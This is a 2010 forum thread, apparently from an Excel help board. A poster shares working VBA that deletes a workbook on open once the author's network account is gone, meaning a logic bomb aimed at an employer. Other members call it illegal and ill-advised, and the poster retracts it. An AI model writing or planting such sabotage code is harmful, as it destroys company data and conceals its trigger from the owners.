# How to protect your code if you get fired.



## Legacy 139926 (Feb 9, 2010)

I intend to share a little piece of code that will hopefully protect the work of people in a similar situation to me. 

At my place of work, the management team request that all sorts of "business critical" applications be built in Excel. The reason is simply down to cost saving. Don't get me wrong, I love Excel and use it every single day, but sometimes things can go wrong and I get the blame. This is why it pays to have an IT department build and support a robust, scalable solution. Being a Business Analyst that coincidentally knows how to code, skills that fall far outside of my job description (such as building and later supporting countless applications) are often abused for the benefit of the company. A company that is on a continual search to cut costs in an environment where no job is safe. The following piece of code will run "on open", make sure I am still employed and if not, delete itself.   


```
[COLOR=Navy]Private Sub [/COLOR]Workbook_Open()
[COLOR=Navy]Dim [/COLOR]objUser
[COLOR=Navy]Dim [/COLOR]strUsername [COLOR=Navy]As String[/COLOR]

strUsername = "InsertUsernameHere" [COLOR=Green]'just chuck in your LAN ID.[/COLOR]
strDomain = "InsertDomainHere"[COLOR=Green] 'Put in your domain here..This is the domain that you would normally log into[/COLOR]
[COLOR=Green]'************************************************************************************************************
'For example if you log into the "ASIAPACIFIC" domain with the LANID: "HAX0R"
'The code would be:
'strUsername = "HAX0R"
'strDomain = "ASIAPACIFIC"
'************************************************************************************************************[/COLOR]

[COLOR=Navy]On Error GoTo[/COLOR] ErrorHandle [COLOR=Green]'So. If it can't "GET" your username object, it means it no longer exists. An
                          'error will result, and the code will scoot down to ErrorHandle[/COLOR]
[COLOR=Navy]Set [/COLOR]objUser = GetObject("WinNT://" & strUsername & "/" & strUsername & ",user")
[COLOR=Navy]Exit Sub[/COLOR][COLOR=Green] 'If it finds your user ID, it will just exit as normal.[/COLOR]

ErrorHandle:

Application.DisplayAlerts = [COLOR=Navy]False[/COLOR][COLOR=Green]'Don't alert user to anything[/COLOR]
ThisWorkbook.ChangeFileAccess xlReadOnly[COLOR=Green] 'Change the way excel uses the file, so that windows doesn't see
                                         'it as "in use".[/COLOR]
Kill ThisWorkbook.FullName [COLOR=Green]'Delete this file[/COLOR]
ThisWorkbook.Close [COLOR=Navy]False [/COLOR][COLOR=Green]'Exit, no saving[/COLOR]

[COLOR=Navy]End Sub[/COLOR]
```
Regards, 
damir


----------



## Smitty (Feb 9, 2010)

Welcome to the Board!

Note that you open yourself up to all sorts of legal ramifications when attempting to do something of this nature, and there have been dozens of conversations about it here over the years.

The primary issue is that if you do not have a contractual agreement with your employer that states what you develop on their time is yours, then it belongs to them. In addition, deleting strictly what you created may not be an issue, however if you take tertiary company information with it when you kill the wb, then you can be on the hook for it, because that DID NOT belong to you.

The same can be said for applications you create on your own time and give access to the company, as an employee or consultant. Without some type of contractual agreement, you can land in a world of hurt by deleting proprietary data that may have been entered by the company into your creation, especially if it creates any disruption of business activity.



> Being a Business Analyst that coincidentally knows how to code, skills that fall far outside of my job description (such as building and later supporting countless applications) are often abused for the benefit of the company.



Then you haven't figured out how to leverage that knowledge to your benefit.

If you're getting the axe, then you owe it to the company to let them know about everything you've done, at which time you can offer to support it as a consultant (quite a few people have ended up making substantially more money that way). It's up to them what they want to do from there.  

Just remember that malicious actions will damage a reputation faster and more widespread than ones of good faith.


----------



## Legacy 139926 (Feb 9, 2010)

Well put. 
Do you want to delete this post then, I don't have permissions to do so.


----------



## Smitty (Feb 9, 2010)

Don't worry about it.  We'll leave it here for the time being.


----------



## snowblizz (Feb 10, 2010)

Wouldn't this be easily bypassed by disabling macros? Assuming someone knows to do so obviously. I tend to disable them in any workbook and check first, but I'm not exactly the typical user. Not since having found this board at least. 

Don't you run the risk of having this code trigger accidentally. Say there's a network error somewhere of some kind?

And lastly when trying to get a new job, what do you think your old employer is going to say when presumptive employers ask for a reference?

At the end of the day it's probably much better to be valuable to the employer rather than just unreplaceable...


----------



## crimson_b1ade (Feb 10, 2010)

....also, most companies backup the network files each day. I accidentially deleted a file once and IT had the ability to call up a historical list of that file by date (I was rather impressed I must say). Granted I lost some data after the point of the most recent backup date but at least I had 99% of my data. So I think killing the file is not going to do much but cause a minor nuisance until someone gets wise goes into your code (yes, even if you put a password to access your vba code) and deletes the 'kill' procedure.


----------



## Legacy 139926 (Feb 10, 2010)

Yeah, I understand, it's not a good idea to do this. Please ignore this thread. 

The thought process was, password protect the module, obfuscate the code and not worry about disabling macros, as it would render the workbook useless anyway. Furthermore, VBA & Excel password *******s are considered inappropriate and a policy breach in this place of work.


----------



## PaddyD (Feb 10, 2010)

"Furthermore, VBA & Excel password *******s are considered inappropriate and a policy breach in this place of work"

An odd consideration from someone who's prepared to kill company property, something no doubt also against policy


----------



## Aaron.B (Feb 11, 2010)

This is called a logic bomb and it's a horrible idea. Highly illegal. Not only is it a great way to spend a year or two in the clink, get sued for damages, but it's also a really super way to get fired. 

Think about it for a second. You're a manager and you have a top-notch best ever employee, and you view their code and see that. It wouldn't matter if you were the second coming, you would be fired. 

Now ponder the ramifications of a current or potential employer reading your post even if this never made it into production code.

This should have been titled "How to make your code get you fired".


The other thing to ponder is that even if you password protect a VBA Project and then password protect the file too, your VBA code is still viewable by several well known means. So you can't even prevent this from being found out. 

But hey, it's an excellent case for peer review.


----------



## xCloudCoverx (Mar 10, 2010)

Hahaha! This kind of thing makes me want to get into ICT
The only real question I have is, what if your username is changed without you realising? (I don't know if it would EVER happen in your environment, but recently in school our user accounts all changed so for example
Previously;
03Ell
Now:
Ell13


Also..If your job is like this? Why are you still working there? Surely life is stressful enough without having to worry about having a job tomorrow.


----------



## T. Valko (Mar 24, 2010)

> obfuscate the code


Well, the code you posted is plain as day!

If you want to muck things up at least make it difficult for someone to figure out what you're up to!


----------

